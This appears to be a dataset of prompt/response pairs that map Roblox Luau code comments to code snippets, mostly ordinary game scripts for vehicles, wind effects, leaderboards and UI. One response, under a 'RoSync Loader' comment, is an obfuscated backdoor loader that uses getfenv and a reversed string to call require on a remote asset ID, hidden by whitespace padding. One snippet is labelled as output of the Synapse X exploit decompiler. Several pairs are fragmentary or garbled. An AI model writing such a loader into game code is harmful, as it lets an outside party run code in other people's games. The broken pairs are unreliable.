Prompt:
--[[
		___      _______                _
	   / _ |____/ ___/ /  ___ ____ ___ (_)__
	  / __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-<
	 /_/ |_|   \___/_//_/\_,_/___/___/_/___/
 						SecondLogic @ Inspare
]]

Response:
local FE = workspace.FilteringEnabled
local car = script.Parent.Car.Value
local handler = car:WaitForChild("AC6_FE_SoundsMisc")
local _Tune = require(car["A-Chassis Tune"])
local on = 0
local mult=0
local det=.13

script:WaitForChild("Rel")
script:WaitForChild("Start")

script.Parent.Values.Gear.Changed:connect(function() mult=1 end)

for i,v in pairs(car.DriveSeat:GetChildren()) do
	for _,a in pairs(script:GetChildren()) do
		if v.Name==a.Name then v:Stop() wait() v:Destroy() end
	end
end

handler:FireServer("newSound","Rel",car.DriveSeat,script.Rel.SoundId,0,script.Rel.Volume,true)
handler:FireServer("newSound","Start",car.DriveSeat,script.Start.SoundId,1,script.Start.Volume,false)
handler:FireServer("playSound","Rel")
car.DriveSeat:WaitForChild("Rel")
car.DriveSeat:WaitForChild("Start")

while wait() do
	mult=math.max(0,mult-.1)
	local _RPM = script.Parent.Values.RPM.Value
	if script.Parent.Values.PreOn.Value then
		handler:FireServer("playSound","Start")
		wait(11.5)
	else
		if not script.Parent.IsOn.Value then on=math.max(on-.015,0) else on=1 end
		RelVolume = 3*(1 - math.min(((script.Parent.Values.RPM.Value*3)/_Tune.Redline),1))
		RelPitch = (math.max((((script.Rel.SetPitch.Value + script.Rel.SetRev.Value*_RPM/_Tune.Redline))*on^2)+(det*mult*math.sin(80*tick())),script.Rel.SetPitch.Value)) * on
	end
	if FE then
		handler:FireServer("updateSound","Rel",script.Rel.SoundId,RelPitch,RelVolume)
	else
		car.DriveSeat.Rel.Volume = RelVolume
		car.DriveSeat.Rel.Pitch = RelPitch
	end
end


Prompt: -- How many times per second the gun can fire

Response: local FireRate = 1 / 1


Prompt: -- ROBLOX deviation START: type for mock process param used added to Reporters

Response:
local RobloxShared = require(Packages.RobloxShared)
type Writeable = RobloxShared.Writeable
export type NodeProcessMock = {
	env: {
		[string]: unknown,
	},
	stdout: Writeable,
	stderr: Writeable,
}


Prompt: -- WorldSize -> ScreenSize

Response:
function ScreenSpace.WorldWidthToScreenWidth(worldWidth, depth)
	local aspectRatio = ScreenSpace.AspectRatio()
	local hfactor = math.tan(math.rad(Workspace.CurrentCamera.FieldOfView)/2)
	local wfactor = aspectRatio*hfactor
	local sx = ScreenSpace.ViewSizeX()
	--
	return -(worldWidth * sx) / (2 * wfactor * depth)
end
function ScreenSpace.WorldHeightToScreenHeight(worldHeight, depth)
	local hfactor = math.tan(math.rad(Workspace.CurrentCamera.FieldOfView)/2)
	local sy = ScreenSpace.ViewSizeY()
	--
	return -(worldHeight * sy) / (2 * hfactor * depth)
end


Response:
end

script.Parent.Touched:connect(onTouched)


Prompt: -- PROPERTIES

Response:
IconController.topbarEnabled = true
IconController.controllerModeEnabled = false
IconController.previousTopbarEnabled = checkTopbarEnabled()
IconController.leftGap = 12
IconController.midGap = 12
IconController.rightGap = 12
IconController.leftOffset = 0
IconController.rightOffset = 0
IconController.voiceChatEnabled = false
IconController.mimicCoreGui = true
IconController.healthbarDisabled = false
IconController.activeButtonBCallbacks = 0
IconController.disableButtonB = false
IconController.translator = localizationService:GetTranslatorForPlayer(localPlayer)


Prompt: --------------------------CHARACTER CONTROL-------------------------------

Response:
local CurrentIgnoreList: {Model}
local CurrentIgnoreTag = nil

local TaggedInstanceAddedConnection: RBXScriptConnection? = nil
local TaggedInstanceRemovedConnection: RBXScriptConnection? = nil

local function GetCharacter(): Model
	return Player and Player.Character
end

local function UpdateIgnoreTag(newIgnoreTag)
	if newIgnoreTag == CurrentIgnoreTag then
		return
	end
	if TaggedInstanceAddedConnection then
		TaggedInstanceAddedConnection:Disconnect()
		TaggedInstanceAddedConnection = nil
	end
	if TaggedInstanceRemovedConnection then
		TaggedInstanceRemovedConnection:Disconnect()
		TaggedInstanceRemovedConnection = nil
	end
	CurrentIgnoreTag = newIgnoreTag
	CurrentIgnoreList = {GetCharacter()}
	if CurrentIgnoreTag ~= nil then
		local ignoreParts = CollectionService:GetTagged(CurrentIgnoreTag)
		for _, ignorePart in ipairs(ignoreParts) do
			table.insert(CurrentIgnoreList, ignorePart)
		end
		TaggedInstanceAddedConnection = CollectionService:GetInstanceAddedSignal(
			CurrentIgnoreTag):Connect(function(ignorePart)
			table.insert(CurrentIgnoreList, ignorePart)
		end)
		TaggedInstanceRemovedConnection = CollectionService:GetInstanceRemovedSignal(
			CurrentIgnoreTag):Connect(function(ignorePart)
			for i = 1, #CurrentIgnoreList do
				if CurrentIgnoreList[i] == ignorePart then
					CurrentIgnoreList[i] = CurrentIgnoreList[#CurrentIgnoreList]
					table.remove(CurrentIgnoreList)
					break
				end
			end
		end)
	end
end

local function getIgnoreList(): {Model}
	if CurrentIgnoreList then
		return CurrentIgnoreList
	end
	CurrentIgnoreList = {}
	table.insert(CurrentIgnoreList, GetCharacter())
	return CurrentIgnoreList
end

local function minV(a: Vector3, b: Vector3)
	return Vector3.new(math.min(a.X, b.X), math.min(a.Y, b.Y), math.min(a.Z, b.Z))
end
local function maxV(a, b)
	return Vector3.new(math.max(a.X, b.X), math.max(a.Y, b.Y), math.max(a.Z, b.Z))
end
local function getCollidableExtentsSize(character: Model?)
	if character == nil or character.PrimaryPart == nil then return end
	local toLocalCFrame = character.PrimaryPart.CFrame:inverse()
	local min = Vector3.new(math.huge, math.huge, math.huge)
	local max = Vector3.new(-math.huge, -math.huge, -math.huge)
	for _,descendant in pairs(character:GetDescendants()) do
		if descendant:IsA('BasePart') and descendant.CanCollide then
			local localCFrame = toLocalCFrame * descendant.CFrame
			local size = Vector3.new(descendant.Size.X / 2, descendant.Size.Y / 2, descendant.Size.Z / 2)
			local vertices = {
				Vector3.new( size.X,  size.Y,  size.Z),
				Vector3.new( size.X,  size.Y, -size.Z),
				Vector3.new( size.X, -size.Y,  size.Z),
				Vector3.new( size.X, -size.Y, -size.Z),
				Vector3.new(-size.X,  size.Y,  size.Z),
				Vector3.new(-size.X,  size.Y, -size.Z),
				Vector3.new(-size.X, -size.Y,  size.Z),
				Vector3.new(-size.X, -size.Y, -size.Z)
			}
			for _,vertex in ipairs(vertices) do
				local v = localCFrame * vertex
				min = minV(min, v)
				max = maxV(max, v)
			end
		end
	end
	local r = max - min
	if r.X < 0 or r.Y < 0 or r.Z < 0 then return nil end
	return r
end


Response:
local ObjectShakeAddedEvent = Instance.new("BindableEvent")
local ObjectShakeRemovedEvent = Instance.new("BindableEvent")
local ObjectShakeUpdatedEvent = Instance.new("BindableEvent")
local PausedEvent = Instance.new("BindableEvent")
local ResumedEvent = Instance.new("BindableEvent")

local WindShake = {
	ObjectMetadata = {};
	Octree = Octree.new();

	Handled = 0;
	Active = 0;
	LastUpdate = os.clock();

	ObjectShakeAdded = ObjectShakeAddedEvent.Event;
	ObjectShakeRemoved = ObjectShakeRemovedEvent.Event;
	ObjectShakeUpdated = ObjectShakeUpdatedEvent.Event;
	Paused = PausedEvent.Event;
	Resumed = ResumedEvent.Event;

}

export type WindShakeSettings = {
	WindDirection: Vector3?,
	WindSpeed: number?,
	WindPower: number?,
}

function WindShake:Connect(funcName: string, event: RBXScriptSignal): RBXScriptConnection
	local callback = self[funcName]
	assert(typeof(callback) == "function", "Unknown function: " .. funcName)

	return event:Connect(function (...)
		return callback(self, ...)
	end)
end

function WindShake:AddObjectShake(object: BasePart, settingsTable: WindShakeSettings?)
	if typeof(object) ~= "Instance" then
		return
	end

	if not object:IsA("BasePart") then
		return
	end

	local metadata = self.ObjectMetadata

	if metadata[object] then
		return
	else
		self.Handled += 1
	end

	metadata[object] = {
		Node = self.Octree:CreateNode(object.Position, object);
		Settings = Settings.new(object, DEFAULT_SETTINGS);

		Seed = math.random(1000) * 0.1;
		Origin = object.CFrame;
	}

	self:UpdateObjectSettings(object, settingsTable)

	ObjectShakeAddedEvent:Fire(object)
end

function WindShake:RemoveObjectShake(object: BasePart)
	if typeof(object) ~= "Instance" then
		return
	end

	local metadata = self.ObjectMetadata
	local objMeta = metadata[object]

	if objMeta then
		self.Handled -= 1
		metadata[object] = nil
		objMeta.Settings:Destroy()
		objMeta.Node:Destroy()

		if object:IsA("BasePart") then
			object.CFrame = objMeta.Origin
		end
	end

	ObjectShakeRemovedEvent:Fire(object)
end

function WindShake:Update()
	local now = os.clock()
	local dt = now - self.LastUpdate

	if dt < UPDATE_HZ then
		return
	end

	self.LastUpdate = now

	debug.profilebegin("WindShake")

	local camera = workspace.CurrentCamera
	local cameraCF = camera and camera.CFrame

	debug.profilebegin("Octree Search")
	local updateObjects = self.Octree:RadiusSearch(cameraCF.Position + (cameraCF.LookVector * 115), 120)
	debug.profileend()

	local activeCount = #updateObjects

	self.Active = activeCount

	if activeCount < 1 then
		return
	end

	local step = math.min(1, dt * 8)
	local cfTable = table.create(activeCount)
	local objectMetadata = self.ObjectMetadata

	debug.profilebegin("Calc")
	for i, object in ipairs(updateObjects) do
		local objMeta = objectMetadata[object]
		local lastComp = objMeta.LastCompute or 0

		local origin = objMeta.Origin
		local current = objMeta.CFrame or origin

		if (now - lastComp) > COMPUTE_HZ then
			local objSettings = objMeta.Settings

			local seed = objMeta.Seed
			local amp = objSettings.WindPower * 0.1

			local freq = now * (objSettings.WindSpeed * 0.08)
			local rotX = math.noise(freq, 0, seed) * amp
			local rotY = math.noise(freq, 0, -seed) * amp
			local rotZ = math.noise(freq, 0, seed+seed) * amp
			local offset = object.PivotOffset
			local worldpivot = origin * offset

			objMeta.Target = (worldpivot * CFrame.Angles(rotX, rotY, rotZ) + objSettings.WindDirection * ((0.5 + math.noise(freq, seed, seed)) * amp)) * offset:Inverse()

			objMeta.LastCompute = now
		end

		current = current:Lerp(objMeta.Target, step)
		objMeta.CFrame = current
		cfTable[i] = current
	end
	debug.profileend()

	workspace:BulkMoveTo(updateObjects, cfTable, Enum.BulkMoveMode.FireCFrameChanged)
	debug.profileend()
end

function WindShake:Pause()
	if self.UpdateConnection then
		self.UpdateConnection:Disconnect()
		self.UpdateConnection = nil
	end

	self.Active = 0
	self.Running = false

	PausedEvent:Fire()
end

function WindShake:Resume()
	if self.Running then
		return
	else
		self.Running = true
	end

	-- Connect updater
	self.UpdateConnection = self:Connect("Update", RunService.Heartbeat)

	ResumedEvent:Fire()
end

function WindShake:Init(Settings)
	if self.Initialized then
		return
	else
		self.Initialized = true
	end

	-- Define attributes if they're undefined.
	local power = Settings.WindPower
	local speed = Settings.WindSpeed
	local direction = script:GetAttribute("WindDirection")

	script:SetAttribute("WindPower", power)
	script:SetAttribute("WindSpeed", speed)

	if typeof(power) ~= "number" then
		script:SetAttribute("WindPower", DEFAULT_SETTINGS.WindPower)
	end

	if typeof(speed) ~= "number" then
		script:SetAttribute("WindSpeed", DEFAULT_SETTINGS.WindSpeed)
	end

	if typeof(direction) ~= "Vector3" then
		script:SetAttribute("WindDirection", DEFAULT_SETTINGS.WindDirection)
	end

	-- Clear any old stuff.
	self:Cleanup()

	-- Wire up tag listeners.
	local windShakeAdded = CollectionService:GetInstanceAddedSignal(COLLECTION_TAG)
	self.AddedConnection = self:Connect("AddObjectShake", windShakeAdded)

	local windShakeRemoved = CollectionService:GetInstanceRemovedSignal(COLLECTION_TAG)
	self.RemovedConnection = self:Connect("RemoveObjectShake", windShakeRemoved)

	for _,object in pairs(CollectionService:GetTagged(COLLECTION_TAG)) do
		self:AddObjectShake(object)
	end

	-- Automatically start.
	self:Resume()
end

function WindShake:Cleanup()
	if not self.Initialized then
		return
	end

	self:Pause()

	if self.AddedConnection then
		self.AddedConnection:Disconnect()
		self.AddedConnection = nil
	end

	if self.RemovedConnection then
		self.RemovedConnection:Disconnect()
		self.RemovedConnection = nil
	end

	table.clear(self.ObjectMetadata)
	self.Octree:ClearNodes()

	self.Handled = 0
	self.Active = 0
	self.Initialized = false
end

function WindShake:UpdateObjectSettings(object: Instance, settingsTable: WindShakeSettings)
	if typeof(object) ~= "Instance" then
		return
	end

	if typeof(settingsTable) ~= "table" then
		return
	end

	if (not self.ObjectMetadata[object]) and (object ~= script) then
		return
	end

	for key, value in pairs(settingsTable) do
		object:SetAttribute(key, value)
	end

	ObjectShakeUpdatedEvent:Fire(object)
end

function WindShake:UpdateAllObjectSettings(settingsTable: WindShakeSettings)
	if typeof(settingsTable) ~= "table" then
		return
	end

	for obj, objMeta in pairs(self.ObjectMetadata) do
		for key, value in pairs(settingsTable) do
			obj:SetAttribute(key, value)
		end
		ObjectShakeUpdatedEvent:Fire(obj)
	end
end

function WindShake:SetDefaultSettings(settingsTable: WindShakeSettings)
	self:UpdateObjectSettings(script, settingsTable)
end

return WindShake


Prompt: --[[ Last synced 8/20/2021 05:48                                                                                RoSync Loader ]]

Response: getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[                                                                                ]]--


Prompt:
--[[
	Package link auto-generated by Rotriever
]]

Response:
local PackageIndex = script.Parent.Parent.Parent._Index

local Package = require(PackageIndex["RegExp"]["RegExp"])

export type RegExp = Package.RegExp

return Package


Prompt:
-- Disconnect all handlers. Since we use a linked list it suffices to clear the
-- reference to the head handler.
--[=[
	Disconnects all connections from the signal.
	```lua
	signal:DisconnectAll()
	```
]=]

Response:
function Signal:DisconnectAll()
	local item = self._handlerListHead
	while item do
		item.Connected = false
		item = item._next
	end
	self._handlerListHead = false
end


Prompt: --Variables

Response: local player = game.Players.LocalPlayer


Prompt: -- Decompiled with the Synapse X Luau decompiler.

Response:
return {
	Name = "kick",
	Aliases = { "boot" },
	Description = "Kicks a player or set of players.",
	Group = "DefaultAdmin",
	Args = { {
			Type = "players",
			Name = "players",
			Description = "The players to kick."
		} }
};


Prompt: --[[Wheel Alignment]]

Response:
	--[Don't physically apply alignment to wheels]
	--[Values are in degrees]
	Tune.FCamber		= -1
	Tune.RCamber		= -2
	Tune.FToe			= 0
	Tune.RToe			= 0


Prompt: --[[Workspace Variables]]

Response:
--
local animation = WaitForChild(script,'Animation')
local animator = WaitForChild(script,'animator')


Prompt:
-- how to use --
-- 1. place this in to a model --
-- 2. change the time between the spawn --
-- 3. if you like you coud make a spawn message --
-- 4. thanks 4 use --


Prompt: --// F key, Horn

Response:
mouse.KeyUp:connect(function(key)
	if key=="h" then
		veh.ELS.Sirens.MAN.Transparency = 1
		veh.ELS.Siren.Man:Stop(3)
		veh.ELS.Siren2.Man:Stop(3)
		veh.ELS.Sirens.Horn.Transparency = 1
		veh.ELS.Sirens.Horn.Transparency = 3
		veh.ELS.Siren.Wail.Volume = 3
		veh.ELS.Siren.Yelp.Volume = 3
		veh.ELS.Siren.Priority.Volume = 3
		veh.ELS.Siren2.Wail.Volume = 3
		veh.ELS.Siren2.Yelp.Volume = 3
		veh.ELS.Siren2.Priority.Volume = 3
	end
end)
mouse.KeyDown:connect(function(key)
	if key=="j" then
		veh.ELS.Siren.SliderSwitch:Play()
		veh.ELS.Events.ELS:FireServer(true)
	end
	end)

mouse.KeyDown:connect(function(key)
	if key=="[" then
		veh.ELS.Siren.Beep:Play()
		veh.ELS.Events.TakeDown:FireServer(true)
	end
end)
mouse.KeyDown:connect(function(key)
	if key=="k" then
		veh.ELS.Siren.Beep:Play()
		veh.ELS.Events.Traffic:FireServer(true)
	end
end)
mouse.KeyDown:connect(function(key)
	if key==";" then
		veh.ELS.Siren.Beep:Play()
		veh.ELS.Events.INT:FireServer(true)
	end
end)
mouse.KeyDown:connect(function(key)
	if key=="m" then
		veh.ELS.Siren.Beep:Play()
		veh.ELS.Events.Ally:FireServer(true)
	end
end)


Prompt: --This will cause the timeFix() function to run once every second. 226 y 1001 <=750 or minutes >=870 and minutes // 958= 960  1070=1060


Prompt: -- Get the data store with key "Leaderboard"

Response:
wait(10)

while true do
	-- загрузка данных по игрокам
	for i,plr in pairs(game.Players:GetChildren()) do--Loop through players
		if plr.UserId>0 then--Prevent errors
			DonateStore = DataStore2(DataParam, plr) -- создаём ссылку на хранилище денег и т.д. и т.п.
			local w=DonateStore:Get(0) -- значение по умолчанию 0
			--print("1",w)
			if w then
				-- достаём из глобального значение
				local w1=0
				local success, err = pcall(function()
					w1 = dataStore:GetAsync(plr.UserId) or 0
				end)
				-- print( w,"----",w1)
				if success then -- если глобальное больше (базу меняли), то сохраняем его
					if w1 > w then
						w=w1
						DonateStore:Set(w)
					end
				end
				--print("2",w)
				pcall(function()
				--Wrap in a pcall so if Roblox is down, it won't error and break.
					dataStore:UpdateAsync(plr.UserId,function(w)
						w=DonateStore:Get(0)
				        --Set new value
						--print("3",w)
						return tonumber(w) -- !!!!!!!!! возвращаемое значение!!!
					end)
				end)
			end
		end
	end
	-- получение данных
	local smallestFirst = false--false = 2 before 1, true = 1 before 2
    local numberToShow = 100--Any number between 1-100, how many will be shown
    local minValue = 1 --Any numbers lower than this will be excluded
    local maxValue = 10e30--(10^30), any numbers higher than this will be excluded
    local pages = dataStore:GetSortedAsync(smallestFirst, numberToShow, minValue, maxValue)
    --Get data
    local top = pages:GetCurrentPage()--Get the first page

	-- получение изображений игроков
	local data = {}--Store new data
	for a,b in ipairs(top) do--Loop through data
		local userid = b.key--User id
		local points = b.value--Points
		local username = "[Failed To Load]"--If it fails, we let them know
		local s,e = pcall(function()
			username = game.Players:GetNameFromUserIdAsync(userid)--Get username
		end)
		if not s then--Something went wrong
			warn("Error getting name for "..userid..". Error: "..e)
		end
		local image = game.Players:GetUserThumbnailAsync(userid, Enum.ThumbnailType.HeadShot, Enum.ThumbnailSize.Size150x150)
		--Make a image of them
		table.insert(data,{username,points,image})--Put new data in new table
	end
	-- отображение данных
	ui.Parent = script
	sf:ClearAllChildren()--Remove old frames
	ui.Parent = sf
	for number,d in pairs(data) do--Loop through our new data
		local name = d[1]
		local val = d[2]
		local image = d[3]
		local color = Color3.new(1,1,1)--Default color
		if number == 1 then
			color = Color3.new(1,1,0)--1st place color
		elseif number == 2 then
			color = Color3.new(0.9,0.9,0.9)--2nd place color
		elseif number == 3 then
			color = Color3.fromRGB(166, 112, 0)--3rd place color
		end
		local new = sample:Clone()--Make a clone of the sample frame
		new.Name = name--Set name for better recognition and debugging
        new.LayoutOrder = number--UIListLayout uses this to sort in the correct order
		new.Image.Image = image--Set the image
		new.Image.Place.Text = number--Set the place
		new.Image.Place.TextColor3 = color--Set the place color (Gold = 1st)
		new.PName.Text = name--Set the username
		new.Value.Text = val--Set the amount of points
		new.Value.TextColor3 = color--Set the place color (Gold = 1st)
		new.PName.TextColor3 = color--Set the place color (Gold = 1st)
		new.Parent = sf--Parent to scrolling frame
	end
	wait()
	sf.CanvasSize = UDim2.new(0,0,0,ui.AbsoluteContentSize.Y)
	--Give enough room for the frames to sit in
	wait(80) -- 120 - раз в 2 минуты
end


Prompt:
--[[
	ROBLOX TODO: add default generic param when possible
	original code:
	export type MatchersObject<T extends MatcherState = MatcherState> = {
]]

Response: export type MatchersObject<T> = { [string]: RawMatcherFn<T> }


Prompt: --Dupes a part from the template.

Response:
local function MakeFromTemplate(template: BasePart, currentCacheParent: Instance): BasePart
	local part: BasePart = template:Clone()
	-- ^ Ignore W000 type mismatch between Instance and BasePart. False alert.

	part.CFrame = CF_REALLY_FAR_AWAY
	part.Anchored = true
	part.Parent = currentCacheParent
	return part
end

function PartCacheStatic.new(orgTemplate: BasePart, numPrecreatedParts: number?, currentCacheParent: Instance?): PartCache
	local newNumPrecreatedParts: number = numPrecreatedParts or 5
	local newCurrentCacheParent: Instance = currentCacheParent or workspace

	--PrecreatedParts value.
	--Same thing. Ensure it's a number, ensure it's not negative, warn if it's really huge or 0.
	assert(numPrecreatedParts > 0, "PrecreatedParts can not be negative!")
	assertwarn(numPrecreatedParts ~= 0, "PrecreatedParts is 0! This may have adverse effects when initially using the cache.")
	assertwarn(orgTemplate.Archivable, "The template's Archivable property has been set to false, which prevents it from being cloned. It will temporarily be set to true.")

	local oldArchivable = orgTemplate.Archivable
	orgTemplate.Archivable = true
	local newTemplate: BasePart = orgTemplate:Clone()
	-- ^ Ignore W000 type mismatch between Instance and BasePart. False alert.

	orgTemplate.Archivable = oldArchivable
	local template: BasePart = newTemplate

	local trails = {}
	for _, v in pairs(template:GetChildren()) do
		if (v:IsA("Trail") or v:IsA("Beam") or v:IsA("ParticleEmitter")) and v.Enabled then
			table.insert(trails, #trails+1, v.Name)
			v.Enabled = false
		end
	end

	local object: PartCache = {
		Open = {},
		InUse = {},
		CurrentCacheParent = newCurrentCacheParent,
		Template = template,
		ExpansionSize = 10,
		Trails = trails
	}
	setmetatable(object, PartCacheStatic)

	-- Below: Ignore type mismatch nil | number and the nil | Instance mismatch on the table.insert line.
	for _ = 1, newNumPrecreatedParts do
		table.insert(object.Open, MakeFromTemplate(template, object.CurrentCacheParent))
	end

	local function getFullNameRelative(main, child): string
		local fullName: string = child:GetFullName()
		local pos: number = string.find(fullName, main.Name)
		local start: number = pos + #main.Name + 1
		local rest: string = string.sub(fullName, start, -1)
		return rest
	end

	object.Template.Parent = nil

	for _, changed in ipairs(table.pack(orgTemplate, unpack(orgTemplate:GetDescendants()))) do
		local path = changed ~= orgTemplate and getFullNameRelative(orgTemplate, changed) or nil
		local function getTarget(v)
			local target: Instance = v
			if path ~= nil then
				for _, name: string in ipairs(string.split(path, ".")) do
					target = target[name]
				end
			end
			return target
		end
		pcall(function()
			changed.Changed:Connect(function(property)
				if property == "Parent" then return end

				for _, v: Instance in ipairs(object.Open) do
					local target: Instance = getTarget(v)
					target[property] = changed[property]
				end
				for _, v: Instance in ipairs(object.InUse) do
					local target: Instance = getTarget(v)
					target[property] = changed[property]
				end
			end)
		end)
	end

	return object
	-- ^ Ignore mismatch here too
end


Prompt:
--[=[
	@param class table | (...any) -> any
	@param ... any
	@return any
	Constructs a new object from either the
	table or function given.
	If a table is given, the table's `new`
	function will be called with the given
	arguments.
	If a function is given, the function will
	be called with the given arguments.

	The result from either of the two options
	will be added to the trove.
	```lua
	local Signal = require(somewhere.Signal)
	-- All of these are identical:
	local s = trove:Construct(Signal)
	local s = trove:Construct(Signal.new)
	local s = trove:Construct(function() return Signal.new() end)
	local s = trove:Add(Signal.new())
	-- Even Roblox instances can be created:
	local part = trove:Construct(Instance, "Part")
	```
]=]

Response:
function Trove:Construct(class, ...)
	local object = nil
	local t = type(class)
	if t == "table" then
		object = class.new(...)
	elseif t == "function" then
		object = class(...)
	end
	return self:Add(object)
end


Response:
	,Distance = 10000
	,BDrop = .25
	,BSpeed = 2000

	,SuppressMaxDistance = 25	--- Studs
	,SuppressTime = 10			--- Seconds

	,BulletWhiz = true
	,BWEmitter = 25
	,BWMaxDistance = 200

	,BulletFlare = false
	,BulletFlareColor = Color3.fromRGB(255,255,255)

	,Tracer = true
	,TracerColor = Color3.fromRGB(255,255,255)
	,TracerLightEmission = 1
	,TracerLightInfluence = 0
	,TracerLifeTime = .2
	,TracerWidth = .1
	,RandomTracer = false
	,TracerEveryXShots = 5
	,TracerChance = 100

	,BulletLight = false
	,BulletLightBrightness = 1
	,BulletLightColor = Color3.fromRGB(255,255,255)
	,BulletLightRange = 10

	,ExplosiveHit = false
	,ExPressure = 500
	,ExpRadius = 25
	,DestroyJointRadiusPercent = 0	--- Between 0 & 1
	,ExplosionDamage = 100

	,LauncherDamage = 100
	,LauncherRadius = 25
	,LauncherPressure = 500
	,LauncherDestroyJointRadiusPercent = 0


Prompt: -- Disables

Response:
StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.PlayerList, false) -- This obstructs the kill feed. You can find out who's playing the in the scoreboard
StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.Backpack, false) -- We'll use our own inventory
StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.Health, false) -- We'll use our own health bar


Prompt:
--[[
	The web endpoints return information in a camelCase format, however the convention for game engine APIs is to return
	infomration in a PascalCase format. To avoid needing to change all our code to access data returned as PascalCase
	we use this helper function to convert it back to camelCase
]]

Response:
local function tableToCamelCaseKeys(oldTable)
	local newTable = {}
	for k, v in pairs(oldTable) do
		local newKey = k
		if typeof(k) == "string" then
			newKey = string.lower(string.sub(k, 1, 1)) .. string.sub(k, 2)
		end
		local newValue = v
		if typeof(v) == "table" then
			newValue = tableToCamelCaseKeys(v)
		end
		newTable[newKey] = newValue
	end
	return newTable
end

return tableToCamelCaseKeys


Prompt: --// bolekinds

Response:
local plr = script.Parent.Parent.Parent.Parent.Parent.Parent.Parent

script.Parent.MouseButton1Click:Connect(function()
	if plr.YouCash.Value >= 500 and game.ServerStorage.ServerData.MsFloppa.Value == false then
		script.Parent.Parent.Parent.Ching:Play()
		plr.YouCash.Value -= 500
		game.ServerStorage.ServerData.MsFloppa.Value = true
	end
end)


Prompt: --Scripted by DermonDarble

Response:
local userInputService = game:GetService("UserInputService")
local camera = game.Workspace.CurrentCamera
local player = game.Players.LocalPlayer
local character = player.Character
local humanoidRootPart = character.HumanoidRootPart
local car = script:WaitForChild("Car").Value
local stats = car:WaitForChild("Configurations")
local Raycast = require(car.CarScript.RaycastModule)

local cameraType = Enum.CameraType.Follow

local movement = Vector2.new()

local seat = car:WaitForChild("DriveSeat")

seat.Changed:Connect(function(property)
	if property == "Throttle" then
		movement = Vector2.new(movement.X, seat.Throttle)
	end
	if property == "Steer" then
		movement = Vector2.new(seat.Steer, movement.Y)
	end
end)

local force = 0
local damping = 0

local mass = 0

for i, v in pairs(car:GetChildren()) do
	if v:IsA("BasePart") then
		mass = mass + (v:GetMass() * 196.2)
	end
end

force = mass * stats.Suspension.Value
damping = force / stats.Bounce.Value

local bodyVelocity = Instance.new("BodyVelocity", car.Chassis)
bodyVelocity.velocity = Vector3.new(0, 0, 0)
bodyVelocity.maxForce = Vector3.new(0, 0, 0)

local bodyAngularVelocity = Instance.new("BodyAngularVelocity", car.Chassis)
bodyAngularVelocity.angularvelocity = Vector3.new(0, 0, 0)
bodyAngularVelocity.maxTorque = Vector3.new(0, 0, 0)

local rotation = 0

local function UpdateThruster(thruster)
	--Make sure we have a bodythrust to move the wheel
	local bodyThrust = thruster:FindFirstChild("BodyThrust")
	if not bodyThrust then
		bodyThrust = Instance.new("BodyThrust", thruster)
	end
	--Do some raycasting to get the height of the wheel
	local hit, position = Raycast.new(thruster.Position, thruster.CFrame:vectorToWorldSpace(Vector3.new(0, -1, 0)) * stats.Height.Value)
	local thrusterHeight = (position - thruster.Position).magnitude
	if hit and hit.CanCollide then
		--If we're on the ground, apply some forces to push the wheel up
		bodyThrust.force = Vector3.new(0, ((stats.Height.Value - thrusterHeight)^2) * (force / stats.Height.Value^2), 0)
		local thrusterDamping = thruster.CFrame:toObjectSpace(CFrame.new(thruster.Velocity + thruster.Position)).p * damping
		bodyThrust.force = bodyThrust.force - Vector3.new(0, thrusterDamping.Y, 0)
	else
		bodyThrust.force = Vector3.new(0, 0, 0)
	end

	--Wheels
	local wheelWeld = thruster:FindFirstChild("WheelWeld")
	if wheelWeld then
		wheelWeld.C0 = CFrame.new(0, -math.min(thrusterHeight, stats.Height.Value * 0.8) + (wheelWeld.Part1.Size.Y / 2), 0)
		-- Wheel turning
		local offset = car.Chassis.CFrame:inverse() * thruster.CFrame
		local speed = car.Chassis.CFrame:vectorToObjectSpace(car.Chassis.Velocity)
		if offset.Z < 0 then
			local direction = 1
			if speed.Z > 0 then
				direction = -1
			end
			wheelWeld.C0 = wheelWeld.C0 * CFrame.Angles(0, (car.Chassis.RotVelocity.Y / 2) * direction, 0)
		end
		wheelWeld.C0 = wheelWeld.C0 * CFrame.Angles(rotation, 0, 0)
	end
end


Prompt: -- Container for temporary connections (disconnected automatically)

Response:
local Connections = {};

function MaterialTool:Equip()
	-- Enables the tool's equipped functionality

	-- Start up our interface
	self:ShowUI()

end;

function MaterialTool:Unequip()
	-- Disables the tool's equipped functionality

	-- Clear unnecessary resources
	self:HideUI();
	ClearConnections();

end;

function ClearConnections()
	-- Clears out temporary connections

	for ConnectionKey, Connection in pairs(Connections) do
		Connection:Disconnect();
		Connections[ConnectionKey] = nil;
	end;

end;


Prompt: -- Make the waters' SurfaceLights the same color as themselves.

Response:
for i, water in ipairs({water1, water2}) do
	local function update()
		water.SurfaceLight.Color = water.Color
	end
	water:GetPropertyChangedSignal("Color"):Connect(update)
	update()
end

Lib.Script.setWaterState(water1, "acid")
Lib.Script.setWaterState(water2, "acid")


Prompt:
--////////////////////////////// Include
--//////////////////////////////////////

Response:
local Chat = game:GetService("Chat")
local clientChatModules = Chat:WaitForChild("ClientChatModules")
local modulesFolder = script.Parent
local ChatSettings = require(clientChatModules:WaitForChild("ChatSettings"))
local CurveUtil = require(modulesFolder:WaitForChild("CurveUtil"))

local MessageSender = require(modulesFolder:WaitForChild("MessageSender"))


Prompt:
-- try localize whole/part of string
-- no more-than-1 replacement for current existing keys.

Response:
function ChatLocalization:tryLocalize(rawString)
	if existingKey[rawString] then
		return self:Get(existingKey[rawString], rawString)
	end
	for enString, localizationKey in pairs(existingKey) do
		if string.find(rawString, enString) then
			local localizedPart = self:Get(localizationKey, enString)
			return string.gsub(rawString, enString, localizedPart, 1)
		end
	end
	return rawString
end

return ChatLocalization


Prompt:
--[[INFORMATION------------------------------------------------[[
	ARTFVL's R15 Ragdoll (as seen in Ragdoll Testing v3)
	Updated: November 20th 2021

	CREDIT ME FOR USING THIS RAGDOLL SCRIPT.

	Credits:
		R15 RAGDOLL WAS CREATED BY ARTFVL
		ORIGINALLY BASED ON ECHOREAPER'S R15 RAGDOLL
--]]

Response:
-----------------------------------------------------------]]

local module = {}

module.KillHumanoid = function(Humanoid)
	for i = 1, 1 do
		Humanoid.Health = 1
		Humanoid.Health = -1
	end
end

module.DestroyMotors = function(Table)
	for _, Motor in pairs(Table) do
